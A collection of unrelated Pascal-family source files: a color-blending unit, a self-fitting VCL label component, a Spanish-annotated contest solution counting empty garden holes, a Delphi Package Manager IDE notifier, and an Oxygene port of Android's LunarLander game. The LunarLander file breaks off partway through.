function TColorB.Blend(Value: TColorB; Percent: Float): TColorB;
var
Compliment: Float;
begin
if Percent = 0 then
Exit(Self);
if Percent = 1 then
Exit(Value);
Compliment := 1 - Percent;
Result.Red := MixB(Value.Red, Percent, Red, Compliment);
Result.Green := MixB(Value.Green, Percent, Green, Compliment);
Result.Blue := MixB(Value.Blue, Percent, Blue, Compliment);
Result.Alpha := MixB(Value.Alpha, Percent, Alpha, Compliment);
end;
function TColorB.Desaturate(Percent: Float): TColorB;
var
Gray: Byte;
Compliment: Float;
begin
if Percent = 0 then
Exit(Self);
Gray := Round(Red * 0.2126 + Green * 0.7152 + Blue * 0.0722);
Result.Alpha := Alpha;
if Percent = 1 then
begin
Result.Red := Gray;
Result.Green := Gray;
Result.Blue := Gray;
end
else
begin
Compliment := 1 - Percent;
Result.Blue := MixB(Gray, Percent, Blue, Compliment);
Result.Green := MixB(Gray, Percent, Green, Compliment);
Result.Red := MixB(Gray, Percent, Red, Compliment);
end;
end;
function TColorB.Darken(Percent: Float): TColorB;
var
Compliment: Float;
begin
if Percent = 0 then
Exit(Self);
Result.Alpha := Alpha;
if Percent = 1 then
begin
Result.Blue := 0;
Result.Green := 0;
Result.Red := 0;
end
else
begin
Compliment := 1 - Percent;
Result.Blue := MixB(0, Percent, Blue, Compliment);
Result.Green := MixB(0, Percent, Green, Compliment);
Result.Red := MixB(0, Percent, Red, Compliment);
end;
end;
function TColorB.Lighten(Percent: Float): TColorB;
var
Compliment: Float;
begin
if Percent = 0 then
Exit(Self);
Result.Alpha := Alpha;
if Percent = 1 then
begin
Result.Blue := HiByte;
Result.Green := HiByte;
Result.Red := HiByte;
end
else
begin
Compliment := 1 - Percent;
Result.Blue := MixB(HiByte, Percent, Blue, Compliment);
Result.Green := MixB(HiByte, Percent, Green, Compliment);
Result.Red := MixB(HiByte, Percent, Red, Compliment);
end;
end;
function TColorB.Fade(Percent: Float): TColorB;
begin
Result := Self;
if Percent = 1 then
Exit(Self);
Result.Alpha := Round(Result.Alpha * Percent);
end;
{ TColorF }
function GetColorF(const C: TColorB): TColorF;
begin
Result.Blue := C.Blue / HiByte;
Result.Green := C.Green / HiByte;
Result.Red := C.Red / HiByte;
Result.Alpha := C.Alpha / HiByte;
end;
function GetColorB(const C: TColorF): TColorB;
begin
Result.Blue := Round(Clamp(C.Blue) * HiByte);
Result.Green := Round(Clamp(C.Green) * HiByte);
Result.Red := Round(Clamp(C.Red) * HiByte);
Result.Alpha := Round(Clamp(C.Alpha) * HiByte);
end;
class operator TColorF.Implicit(const Value: THSL): TColorF;
begin
Result := GetColorF(TColorB(Value));
end;
class operator TColorF.Explicit(const Value: TColorF): THSL;
begin
Result := THSL(GetColorB(Value));
end;
class operator TColorF.Implicit(Value: TColorB): TColorF;
begin
Result := GetColorF(Value);
end;
class operator TColorF.Explicit(const Value: TColorF): TColorB;
begin
Result := GetColorB(Value);
end;
class function TColorF.Create(B, G, R: Float; A: Byte = 1): TColorF;
begin
Result.Blue := B;
Result.Green := G;
Result.Red := R;
Result.Alpha := A;
end;
function TColorF.Blend(const Value: TColorF; Percent: Float): TColorF;
var
Compliment: Float;
begin
Percent := Clamp(Percent);
if Percent < 0.0001 then
Exit(Self);
if Percent > 0.9999 then
Exit(Value);
Compliment := 1 - Percent;
Result.Blue := MixF(Blue, Compliment, Value.Blue, Percent);
Result.Green := MixF(Green, Compliment, Value.Green, Percent);
Result.Red := MixF(Red, Compliment, Value.Red, Percent);
Result.Alpha := MixF(Alpha, Compliment, Value.Alpha, Percent);
end;
function TColorF.Desaturate(Percent: Float): TColorF;
var
Gray: Float;
Compliment: Float;
begin
Percent := Clamp(Percent);
if Percent < 0.0001 then
Exit(Self);
Gray := Red * 0.2126 + Green * 0.7152 + Blue * 0.0722;
Result.Alpha := Alpha;
if Percent > 0.9999 then
begin
Result.Blue := Gray;
Result.Green := Gray;
Result.Red := Gray;
end
else
begin
Compliment := 1 - Percent;
Result.Blue := MixF(Gray, Percent, Blue, Compliment);
Result.Green := MixF(Gray, Percent, Green, Compliment);
Result.Red := MixF(Gray, Percent, Red, Compliment);
end;
end;
function TColorF.Fade(Percent: Float): TColorF;
begin
Result := Self;
Result.Alpha := Clamp(Percent);
end;
{ Color routines }
function Hue(H: Float): TColorB;
begin
Result := THSL(H);
end;
function Blend(A, B: TColorB; Percent: Float): TColorB;
begin
Result := A.Blend(B, Percent);
end;
function Fade(Color: TColorB; Percent: Float): TColorB;
begin
Result := Color.Fade(Percent);
end;
function Darken(Color: TColorB; Percent: Float): TColorB;
begin
Result := Color.Darken(Clamp(Percent));
end;
function Lighten(Color: TColorB; Percent: Float): TColorB;
begin
Result := Color.Lighten(Clamp(Percent));
end;
{$endregion}
end.
|
unit NfsLabel;
interface
{$R 'nfslabel.dcr'}
uses
SysUtils, Classes, Controls, StdCtrls, Messages, Winapi.Windows;
type
RAktuell = record
Text : string;
Width : Integer;
FontSize: Integer;
end;
type
TNfsLabel = class(TCustomLabel)
private
_MaxFontSize: Integer;
_MinFontSize: Integer;
_Aktuell: RAktuell;
_CanChangedMaxFontSize: Boolean;
//FDrawTextProc: TFNDrawText;
procedure FitFontSize;
procedure CMFontChanged(var Message: TMessage); message CM_FONTCHANGED;
procedure SetMinFontSize(const Value: Integer);
//procedure DoDrawNormalText(DC: HDC; const Text: UnicodeString; var TextRect: TRect; TextFlags: Cardinal);
//function getDrawText(var Rect: TRect; Flags: Longint): String;
//procedure UpdateDrawTextProc;
protected
procedure Paint; override;
public
constructor Create(AOwner: TComponent); override;
published
property Align;
property Alignment;
property Anchors;
property BiDiMode;
property Caption;
property Color nodefault;
property Constraints;
property DragCursor;
property DragKind;
property DragMode;
property EllipsisPosition;
property Enabled;
property FocusControl;
property Font;
property ParentBiDiMode;
property ParentColor;
property ParentFont;
property ParentShowHint;
property PopupMenu;
property ShowAccelChar;
property ShowHint;
property Transparent;
property Layout;
property Visible;
property WordWrap;
property OnClick;
property OnContextPopup;
property OnDblClick;
property OnDragDrop;
property OnDragOver;
property OnEndDock;
property OnEndDrag;
property OnMouseActivate;
property OnMouseDown;
property OnMouseMove;
property OnMouseUp;
property OnMouseEnter;
property OnMouseLeave;
property OnStartDock;
property OnStartDrag;
property MinFontSize: Integer read _MinFontSize write SetMinFontSize default 1;
end;
procedure Register;
implementation
uses
Vcl.Themes;
procedure Register;
begin
RegisterComponents('new frontiers', [TNfsLabel]);
end;
{ TNfsLabel }
constructor TNfsLabel.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
_Aktuell.Text := '';
_Aktuell.Width := 0;
_Aktuell.FontSize := 0;
AutoSize := false;
_CanChangedMaxFontSize := true;
if _MinFontSize <= 0 then
_MinFontSize := 8;
//UpdateDrawTextProc;
end;
procedure TNfsLabel.CMFontChanged(var Message: TMessage);
begin
inherited;
if _CanChangedMaxFontSize then
_MaxFontSize := Font.Size;
end;
procedure TNfsLabel.FitFontSize;
//const
// Alignments: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
// WordWraps: array[Boolean] of Word = (0, DT_WORDBREAK);
var
Text: string;
TextWidth: Integer;
//DrawStyle: Longint;
//Rect, CalcRect: TRect;
begin
_CanChangedMaxFontSize := false;
try
{
DrawStyle := DT_EXPANDTABS or WordWraps[WordWrap] or Alignments[Alignment];
if Layout <> tlTop then
begin
CalcRect := Rect;
Text := getDrawText(CalcRect, DrawStyle or DT_CALCRECT);
if Layout = tlBottom then OffsetRect(Rect, 0, Height - CalcRect.Bottom)
else OffsetRect(Rect, 0, (Height - CalcRect.Bottom) div 2);
end;
Text := getDrawText(Rect, DrawStyle);
}
Text := GetLabelText;
TextWidth := Canvas.TextWidth(Text);
if (_Aktuell.Text = Text)
and (_Aktuell.Width = Width)
and (_Aktuell.FontSize = Font.Size) then
exit;
Canvas.Font := Font;
Font.Size := _MaxFontSize;
if (Font.Size = _MaxFontSize)
and (Width >= TextWidth) then
exit;
Canvas.Font := Font;
while Width <= TextWidth do
begin
Canvas.Font.Size := Canvas.Font.Size -1;
if (Canvas.Font.Size = 1)
or (_MinFontSize = Canvas.Font.Size) then
break;
TextWidth := Canvas.TextWidth(Text);
end;
Font.Size := Canvas.Font.Size;
_Aktuell.Text := Text;
_Aktuell.Width := Width;
_Aktuell.FontSize := Font.Size;
finally
_CanChangedMaxFontSize := true;
end;
end;
procedure TNfsLabel.Paint;
begin
inherited;
FitFontSize;
end;
procedure TNfsLabel.SetMinFontSize(const Value: Integer);
begin
_MinFontSize := Value;
if _MinFontSize <= 0 then
_MinFontSize := 1;
end;
(*
procedure TNfsLabel.UpdateDrawTextProc;
begin
FDrawTextProc := DoDrawNormalText;
end;
procedure TNfsLabel.DoDrawNormalText(DC: HDC; const Text: UnicodeString;
var TextRect: TRect; TextFlags: Cardinal);
begin
Winapi.Windows.DrawTextW(DC, Text, Length(Text), TextRect, TextFlags);
end;
*)
(*
function TNfsLabel.getDrawText(var Rect: TRect; Flags: Longint): String;
const
EllipsisStr = '...';
Ellipsis: array[TEllipsisPosition] of Longint = (0, DT_PATH_ELLIPSIS,
DT_END_ELLIPSIS, DT_WORD_ELLIPSIS);
var
Text, DText: string;
NewRect: TRect;
Height, Delim: Integer;
begin
Text := GetLabelText;
if (Flags and DT_CALCRECT <> 0) and
((Text = '') or ShowAccelChar and (Text[1] = '&') and (Length(Text) = 1)) then
Text := Text + ' ';
if Text <> '' then
begin
if not ShowAccelChar then Flags := Flags or DT_NOPREFIX;
Flags := DrawTextBiDiModeFlags(Flags);
Canvas.Font := Font;
if (EllipsisPosition <> epNone) and not AutoSize then
begin
DText := Text;
Flags := Flags and not DT_EXPANDTABS;
Flags := Flags or Ellipsis[EllipsisPosition];
if WordWrap and (EllipsisPosition in [epEndEllipsis, epWordEllipsis]) then
begin
repeat
NewRect := Rect;
Dec(NewRect.Right, Canvas.TextWidth(EllipsisStr));
FDrawTextProc(Canvas.Handle, DText, NewRect, Flags or DT_CALCRECT);
Height := NewRect.Bottom - NewRect.Top;
if (Height > ClientHeight) and (Height > Canvas.Font.Height) then
begin
Delim := LastDelimiter(' '#9, Text);
if Delim = 0 then
Delim := Length(Text);
Dec(Delim);
{$IF NOT DEFINED(CLR)}
if ByteType(Text, Delim) = mbLeadByte then
Dec(Delim);
{$IFEND}
Text := Copy(Text, 1, Delim);
DText := Text + EllipsisStr;
if Text = '' then
Break;
end else
Break;
until False;
end;
if Text <> '' then
Text := DText;
end;
Result := Text;
{
if Enabled or StyleServices.Enabled then
FDrawTextProc(Canvas.Handle, Text, Rect, Flags)
else
begin
OffsetRect(Rect, 1, 1);
Canvas.Font.Color := clBtnHighlight;
FDrawTextProc(Canvas.Handle, Text, Rect, Flags);
OffsetRect(Rect, -1, -1);
Canvas.Font.Color := clBtnShadow;
FDrawTextProc(Canvas.Handle, Text, Rect, Flags);
end;
}
end;
end;
*)
end.
|
{$I-,Q-,R-,S-}
{Problema 12: Jardín de Flores [Rob Kolstad, 2007]
Imagine la sorpresa de Betsy cuando ella rodeó el establo y encontró que
le Granjero Juan ha construido un invernadero secreto que ahora tiene
flores maravillosas. Su mente corrió rápidamente y se llenó de visiones
de un florido jardín en su pequeña mente bovina.
“Yo pienso que haré una larga fila de F (7 <= F <= 10,000) flores contra
la cerca”, ella pensó. “Plantaré rosas en cada tercer hoyo, begonias en
cada séptimo hoyo que aún estén disponibles, y margaritas en cada cuarto
hoyo que aún esté disponible.” Betsy pensaba cuántos hoyos abiertos
quedarían. Ella se dio cuenta que el número dependería en cual hoyo ella
comenzaría a plantar cuando ella intentara llenar cada eNésimo hoyo con
una clase de flores.
Ayude a Betsy a saber cuantos hoyos abiertos quedaran. Lea un conjunto de
K (1 <= K <= 100) descriptores de plantaciones, cada uno de los cuales
dice una ubicación inicial L (1 <= L <= F) -- L=1 es la primera flor -- y
un intervalo I (1 <= I <= F) para plantar flores. Deduzca el número de
hoyos vacíos que permanecerán libres después de plantar todo el conjunto.
Si Betsy siguió su visión original, ella podría especificar la plantación
como sigue:
30 3 [30 hoyos en total; 3 clases de flores]
1 3 [comenzar en el hoyo 1 y plantar rosas cada tercer hoyo]
3 7 [comenzar en el hoyo 3 y plantar begonias cada séptimo
hoyo]
1 4 [comenzar en el hoyo 1 y plantar margaritas cada cuarto
hoyo]
Por lo tanto, el jardín vacío se vería como esto:
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Luego, después de plantar las rosas:
R . . R . . R . . R . . R . . R . . R . . R . . R . . R . .
Luego, después de plantar las begonias:
R . B R . . R . . R . . R . . R B . R . . R . B R . . R . .
Luego, después de plantar las margaritas:
R . B R M . R . M R . . R . . R B . R . M R . B R . . R M .
Quedan 13 hoyos vacíos después de la plantación
NOMBRE DEL PROBLEMA: flowers
FORMATO DE ENTRADA:
* Línea 1: Dos enteros separados por espacio: N y K.
*Líneas 2..K+1: La línea j contiene dos enteros separados por espacio que
especifican la plantación de una clase de flor: L_j y I_j
ENTRADA EJEMPLO (archivo flowers.in):
30 3
1 3
3 7
1 4
DETALLES DE LA ENTRADA
Como en el texto del problema
FORMATO DE SALIDA:
* Línea 1: Una sola línea con un solo entero que es el número de hoyos
que
permanecen vacíos después de completar la plantación.
SALIDA EJEMPLO (archivo latin.out):
13
DETALLE DE LA SALIDA
Como en el texto
}
const
mx = 10001;
var
fe,fs : text;
n,m,sol : longint;
mk : array[1..mx] of boolean;
procedure open;
begin
assign(fe,'flowers.in'); reset(fe);
assign(fs,'flowers.out'); rewrite(fs);
readln(fe,n,m);
end;
procedure work;
var
i,j,k : longint;
begin
sol:=0;
for i:=1 to m do
begin
readln(fe,j,k);
while j <= n do
begin
if not mk[j] then
begin
mk[j]:=true;
inc(sol);
end;
j:=j + k;
end;
end;
end;
procedure closer;
begin
writeln(fs,n-sol);
close(fs);
end;
begin
open;
work;
closer;
end. |
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.IDE.IDENotifier;
interface
uses
ToolsApi,
Spring.Collections,
DPM.IDE.Logger,
DPM.IDE.ProjectController;
{$IF CompilerVersion >= 24.0 }
{$LEGACYIFEND ON}
{$IFEND}
// The IDE notifier is used to receive notifications from the IDE and pass them
// to the ProjectController. Note that the file notifications are not fired when
// the IDE reloads due to external modifications (including by us) - so we still'
// need the StorageNotifier
type
TDPMIDENotifier = class(TInterfacedObject, IOTANotifier, IOTAIDENotifier)
private
FLogger : IDPMIDELogger;
FLoadingGroup : boolean;
FGroupProjects : IList<string>;
FProjectController : IDPMIDEProjectController;
protected
//IOTANotifier
procedure AfterSave;
procedure BeforeSave;
procedure Destroyed;
procedure Modified;
//IOTAIDENotifier
procedure AfterCompile(Succeeded : Boolean);
procedure BeforeCompile(const Project : IOTAProject; var Cancel : Boolean);
procedure FileNotification(NotifyCode : TOTAFileNotification; const FileName : string; var Cancel : Boolean);
function LoadProjectGroup(const fileName : string) : boolean;
public
constructor Create(const logger : IDPMIDELogger; const projectController : IDPMIDEProjectController);
destructor Destroy; override;
end;
implementation
uses
System.SysUtils,
DPM.Core.Utils.Path,
DPM.Core.Utils.System,
DPM.Core.Project.Interfaces,
DPM.Core.Project.GroupProjReader;
{ TDPMIDENotifier }
procedure TDPMIDENotifier.AfterCompile(Succeeded : Boolean);
begin
end;
procedure TDPMIDENotifier.AfterSave;
begin
end;
procedure TDPMIDENotifier.BeforeCompile(const Project : IOTAProject; var Cancel : Boolean);
begin
end;
procedure TDPMIDENotifier.BeforeSave;
begin
end;
constructor TDPMIDENotifier.Create(const logger : IDPMIDELogger; const projectController : IDPMIDEProjectController);
begin
FLogger := logger;
FGroupProjects := TCollections.CreateList < string > ;
FProjectController := projectController;
end;
destructor TDPMIDENotifier.Destroy;
begin
inherited;
end;
procedure TDPMIDENotifier.Destroyed;
begin
end;
function TDPMIDENotifier.LoadProjectGroup(const fileName : string) : boolean;
var
i : integer;
groupReader : IGroupProjectReader;
projectRoot : string;
ext : string;
begin
result := false;
FGroupProjects.Clear;
groupReader := TGroupProjectReader.Create(FLogger);
if groupReader.LoadGroupProj(fileName) then
begin
groupReader.ExtractProjects(FGroupProjects);
projectRoot := ExtractFilePath(fileName);
//projects likely to be relative, so make them full paths
for i := 0 to FGroupProjects.Count - 1 do
begin
ext := ExtractFileExt(FGroupProjects[i]);
//TODO : Allow cbproj when cbuilder supported.
if ext = '.dproj' then
begin
//sysutils.IsRelativePath returns false with paths starting with .\
if TPathUtils.IsRelativePath(FGroupProjects[i]) then
//TPath.Combine really should do this but it doesn't
FGroupProjects[i] := TPathUtils.CompressRelativePath(projectRoot, FGroupProjects[i])
end;
end;
result := true;
end;
end;
procedure TDPMIDENotifier.FileNotification(NotifyCode : TOTAFileNotification; const FileName : string; var Cancel : Boolean);
var
ext : string;
begin
ext := ExtractFileExt(FileName);
//we only care about the project and project group files, ignoring all other notifications.
if not (SameText(ext, '.dproj') or SameText(ext, '.groupproj')) then
exit;
case NotifyCode of
ofnFileOpening :
begin
FLogger.Debug('TDPMIDENotifier ofnFileOpening : ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnFileOpening : ' + FileName);
{$IF CompilerVersion < 34.0}
{
Since there's no built in way to determine when the project group has finished
loading, we have to cheat here.
We load up the list of projects in the group, and then as each one is loaded
(we get notified here) we remove them from the list. when the list is empty
we are done and can continue. This has the added benefit of running restore
when the grouproj is loading but before the project is loaded, so no reload loop
to deal with!
}
if ext = '.groupproj' then
begin
if not FLoadingGroup then
begin
//if the groupproj doesn't exist, it's a placeholder and we are about to load a single project
//this seems a bit iffy.. doesn't always happen.
if not FileExists(FileName) then
begin
FProjectController.BeginLoading(TProjectMode.pmSingle);
exit;
end;
//the group file exists, so we are definitely loading a group
FLoadingGroup := true;
//need this to determine when we are done loading the project group.
if not LoadProjectGroup(FileName) then
begin
//Cancel := true; //stop loading as the group file is messed up?
//not sure this is the right thing to do, we might have a bug that is our fault.
exit;
end;
FProjectController.BeginLoading(TProjectMode.pmGroup);
end;
exit;
end
else if not FLoadingGroup then //we are loading a single project that is not part of a project group.
FProjectController.BeginLoading(TProjectMode.pmSingle);
{$ELSE}
//10.4 adds ofnBeginProjectGroupOpen, ofnEndProjectGroupOpen, ofnBeginProjectGroupClose, ofnEndProjectGroupClose
//so we will use those for the project group.
if (ext = '.groupproj') then
exit;
if not FLoadingGroup then
FProjectController.BeginLoading(TProjectMode.pmSingle);
{$IFEND}
if FileExists(FileName) then
FProjectController.ProjectOpening(FileName);
end;
ofnFileOpened :
begin
//make sire we ignore the groupproj here.
if ext <> '.dproj' then
exit;
FLogger.Debug('TDPMIDENotifier ofnFileOpened ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnFileOpened : ' + FileName);
{$IF CompilerVersion < 34.0}
if FLoadingGroup then
begin
FGroupProjects.Remove(FileName);
if FGroupProjects.Count = 0 then
begin
FLoadingGroup := false;
FProjectController.EndLoading(TProjectMode.pmGroup);
end;
end
else
FProjectController.EndLoading(TProjectMode.pmSingle);
{$ELSE}
if not FLoadingGroup then
FProjectController.EndLoading(TProjectMode.pmSingle);
{$IFEND}
end;
ofnFileClosing :
begin
FLogger.Debug('TDPMIDENotifier ofnFileClosing ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnFileClosing : ' + FileName);
if (ext = '.dproj') then
FProjectController.ProjectClosed(FileName)
else
FProjectController.ProjectGroupClosed;
end;
{$IF CompilerVersion >= 34.0 }
//10.4 or later
ofnBeginProjectGroupOpen :
begin
FLogger.Debug('TDPMIDENotifier ofnBeginProjectGroupOpen ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnBeginProjectGroupOpen : ' + FileName);
//if the project file doesn't exist, it's a temporary file and a single project is about to be opened.
if not FileExists(FileName) then
exit;
FLoadingGroup := true;
FProjectController.BeginLoading(TProjectMode.pmGroup);
end;
ofnEndProjectGroupOpen :
begin
FLogger.Debug('TDPMIDENotifier ofnEndProjectGroupOpen ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnEndProjectGroupOpen : ' + FileName);
if not FileExists(FileName) then
exit;
FProjectController.EndLoading(TProjectMode.pmGroup);
FLoadingGroup := true;
end;
ofnBeginProjectGroupClose :
begin
FLogger.Debug('TDPMIDENotifier ofnBeginProjectGroupClose ' + FileName);
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnBeginProjectGroupClose : ' + FileName);
FProjectController.ProjectGroupClosed;
// FLogger.Clear;
end;
ofnEndProjectGroupClose :
begin
TSystemUtils.OutputDebugString('TDPMIDENotifier ofnEndProjectGroupClose : ' + FileName);
FLogger.Debug('TDPMIDENotifier ofnEndProjectGroupClose ' + FileName);
end;
{$IFEND}
else
exit;
end;
end;
procedure TDPMIDENotifier.Modified;
begin
FLogger.Debug('TDPMIDENotifier.Modified');
end;
end.
|
namespace com.example.android.lunarlander;
{*
* Copyright (C) 2007 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*}
//BUG: The original Android SDK demo has this bug:
//If the game is over and in a win or lose state, rotating the phone or switching away from
//the game pauses, so when we come back we can unpause and then immediately win or lose again.
//To work around that the implementation of saveState and restoreState should probably
//take into account a win or lose state
//BUG: The original Android SDK demo has this bug:
//Switching away from the app and then back crashes the app with an IllegalThreadStateException
interface
uses
android.content,
android.content.res,
android.graphics,
android.graphics.drawable,
android.os,
android.util,
android.view;
type
LunarThread = public class(Thread)
private
const KEY_DIFFICULTY = 'mDifficulty';
const KEY_DX = 'mDX';
const KEY_DY = 'mDY';
const KEY_FUEL = 'mFuel';
const KEY_GOAL_ANGLE = 'mGoalAngle';
const KEY_GOAL_SPEED = 'mGoalSpeed';
const KEY_GOAL_WIDTH = 'mGoalWidth';
const KEY_GOAL_X = 'mGoalX';
const KEY_HEADING = 'mHeading';
const KEY_LANDER_HEIGHT = 'mLanderHeight';
const KEY_LANDER_WIDTH = 'mLanderWidth';
const KEY_WINS = 'mWinsInARow';
const KEY_X = 'mX';
const KEY_Y = 'mY';
const KEY_MODE = 'mMode';
// Member (state) fields
// Handle to the application context, used to e.g. fetch Drawables.
var mContext: Context;
// The drawable to use as the background of the animation canvas
var mBackgroundImage: Bitmap;
// Current height of the surface/canvas.
// see setSurfaceSize
var mCanvasHeight: Integer := 1;
// Current width of the surface/canvas.
// see setSurfaceSize
var mCanvasWidth: Integer := 1; // What to draw for the Lander when it has crashed
var mCrashedImage: Drawable; //
// Current difficulty -- amount of fuel, allowed angle, etc. Default is
// MEDIUM.
var mDifficulty: Integer;
// Velocity dx.
var mDX: Double;
// Velocity dy.
var mDY: Double;
// Is the engine burning?
var mEngineFiring: Boolean;
// What to draw for the Lander when the engine is firing
var mFiringImage: Drawable;
// Fuel remaining
var mFuel: Double;
// Allowed angle.
var mGoalAngle: Integer;
// Allowed speed.
var mGoalSpeed: Integer;
// Width of the landing pad.
var mGoalWidth: Integer;
// X of the landing pad.
var mGoalX: Integer;
// Message handler used by thread to interact with TextView
var mHandler: Handler;
// Lander heading in degrees, with 0 up, 90 right. Kept in the range
// 0..360.
var mHeading: Double;
// Pixel height of lander image.
var mLanderHeight: Integer;
// What to draw for the Lander in its normal state
var mLanderImage: Drawable;
// Pixel width of lander image.
var mLanderWidth: Integer;
// Used to figure out elapsed time between frames
var mLastTime: Int64;
// Paint to draw the lines on screen.
var mLinePaint: Paint;
// "Bad" speed-too-high variant of the line color.
var mLinePaintBad: Paint;
// The state of the game. One of READY, RUNNING, PAUSE, LOSE, or WIN
var mMode: Integer;
// Currently rotating, -1 left, 0 none, 1 right.
var mRotating: Integer;
// Scratch rect object.
var mScratchRect: RectF;
// Handle to the surface manager object we interact with
var mSurfaceHolder: SurfaceHolder;
// Number of wins in a row.
var mWinsInARow: Integer;
// X of lander center.
var mX: Double;
// Y of lander center.
var mY: Double;
// To cater for thread pause/resume management
var mPauseLock: Object := new Object;
var mPaused: Boolean;
method doDraw(aCanvas: Canvas);
method updatePhysics;
assembly
method doKeyDown(keyCode: Integer; msg: KeyEvent): Boolean;
method doKeyUp(keyCode: Integer; msg: KeyEvent): Boolean;
public
// Difficulty setting constants
const DIFFICULTY_EASY = 0;
const DIFFICULTY_HARD = 1;
const DIFFICULTY_MEDIUM = 2;
// Physics constants
const PHYS_DOWN_ACCEL_SEC = 35;
const PHYS_FIRE_ACCEL_SEC = 80;
const PHYS_FUEL_INIT = 60;
const PHYS_FUEL_MAX = 100;
const PHYS_FUEL_SEC = 10;
const PHYS_SLEW_SEC = 120; // degrees/second rotate
const PHYS_SPEED_HYPERSPACE = 180;
const PHYS_SPEED_INIT = 30;
const PHYS_SPEED_MAX = 120;
// State-tracking constants
const STATE_LOSE = 1;
const STATE_PAUSE = 2;
const STATE_READY = 3;
const STATE_RUNNING = 4;
const STATE_WIN = 5;
// Goal condition constants
const TARGET_ANGLE = 18; // > this angle means crash
const TARGET_BOTTOM_PADDING = 17; // px below gear
const TARGET_PAD_HEIGHT = 8; // how high above ground
const TARGET_SPEED = 28; // > this speed means crash
const TARGET_WIDTH = 1.6; // width of target
// UI constants (i.e. the speed & fuel bars)
const UI_BAR = 100; // width of the bar(s)
const UI_BAR_HEIGHT = 10; // height of the bar(s)
constructor(aSurfaceHolder: SurfaceHolder; aContext: Context; aHandler: Handler);
method doStart;
method pause;
method restoreState(savedState: Bundle); locked;
method run; override;
method saveState(map: Bundle): Bundle;
method setDifficulty(difficulty: Integer);
method setFiring(firing: Boolean);
method setState(mode: Integer);
method setState(mode: Integer; aMessage: CharSequence);
method setSurfaceSize(width: Integer; height: Integer);
method unpause;
end;
implementation
constructor LunarThread(aSurfaceHolder: SurfaceHolder; aContext: Context; aHandler: Handler);
begin
// get handles to some important objects
mSurfaceHolder := aSurfaceHolder;
mHandler := aHandler;
mContext := aContext;
var res: Resources := aContext.Resources;
// cache handles to our key sprites & other drawables
mLanderImage := res.Drawable[R.drawable.lander_plain];
mFiringImage := res.Drawable[R.drawable.lander_firing];
mCrashedImage := res.Drawable[R.drawable.lander_crashed];
// load background image as a Bitmap instead of a Drawable b/c
// we don't need to transform it and it's faster to draw this way
mBackgroundImage := BitmapFactory.decodeResource(res, R.drawable.earthrise);
// Use the regular lander image as the model size for all sprites
mLanderWidth := mLanderImage.IntrinsicWidth;
mLanderHeight := mLanderImage.IntrinsicHeight;
// Initialize paints for speedometer
mLinePaint := new Paint;
mLinePaint.AntiAlias := true;
mLinePaint.setARGB(255, 0, 255, 0);
mLinePaintBad := new Paint;
mLinePaintBad.AntiAlias := true;
mLinePaintBad.setARGB(255, 120, 180, 0);
mScratchRect := new RectF(0, 0, 0, 0);
mWinsInARow := 0;
mDifficulty := DIFFICULTY_MEDIUM;
// initial show-up of lander (not yet playing)
mX := mLanderWidth;
mY := mLanderHeight * 2;
mFuel := PHYS_FUEL_INIT;
mDX := 0;
mDY := 0;
mHeading := 0;
mEngineFiring := true
end;
/// <summary>
/// Starts the game, setting parameters for the current difficulty.
/// </summary>
method LunarThread.doStart;
begin
locking mSurfaceHolder do
begin
// First set the game for Medium difficulty
mFuel := PHYS_FUEL_INIT;
mEngineFiring := false;
mGoalWidth := Integer(mLanderWidth * TARGET_WIDTH);
mGoalSpeed := TARGET_SPEED;
mGoalAngle := TARGET_ANGLE;
var speedInit: Integer := PHYS_SPEED_INIT;
// Adjust difficulty params for EASY/HARD
if mDifficulty = DIFFICULTY_EASY then
begin
mFuel := mFuel * 3 div 2;
mGoalWidth := mGoalWidth * 4 div 3;
mGoalSpeed := mGoalSpeed * 3 div 2;
mGoalAngle := mGoalAngle * 4 div 3;
speedInit := speedInit * 3 div 4
end
else
if mDifficulty = DIFFICULTY_HARD then
begin
mFuel := mFuel * 7 div 8;
mGoalWidth := mGoalWidth * 3 div 4;
mGoalSpeed := mGoalSpeed * 7 div 8;
speedInit := speedInit * 4 div 3
end;
// pick a convenient initial location for the lander sprite
mX := mCanvasWidth div 2;
mY := mCanvasHeight - mLanderHeight div 2;
// start with a little random motion
mDY := Math.random * -speedInit;
mDX := (Math.random * 2 * speedInit) - speedInit;
mHeading := 0;
// Figure initial spot for landing, not too near center
while true do
begin
mGoalX := Integer(Math.random * (mCanvasWidth - mGoalWidth));
if Math.abs(mGoalX - (mX - mLanderWidth div 2)) > mCanvasHeight div 6 then
break
end;
mLastTime := System.currentTimeMillis + 100;
setState(STATE_RUNNING)
end
end;
/// <summary>
/// Pauses the physics update & animation.
/// </summary>
method LunarThread.pause;
begin
Log.w(&Class.Name, 'LunarThread.pause');
//Check for already-paused state
if mPaused then
exit;
locking mSurfaceHolder do
if mMode = STATE_RUNNING then
setState(STATE_PAUSE);
//NOTE: new thread management code
//To pause the thread we set a flag to true
locking mPauseLock do
mPaused := true
end;
/// <summary>
/// Resumes from a pause.
/// </summary>
method LunarThread.unpause;
begin
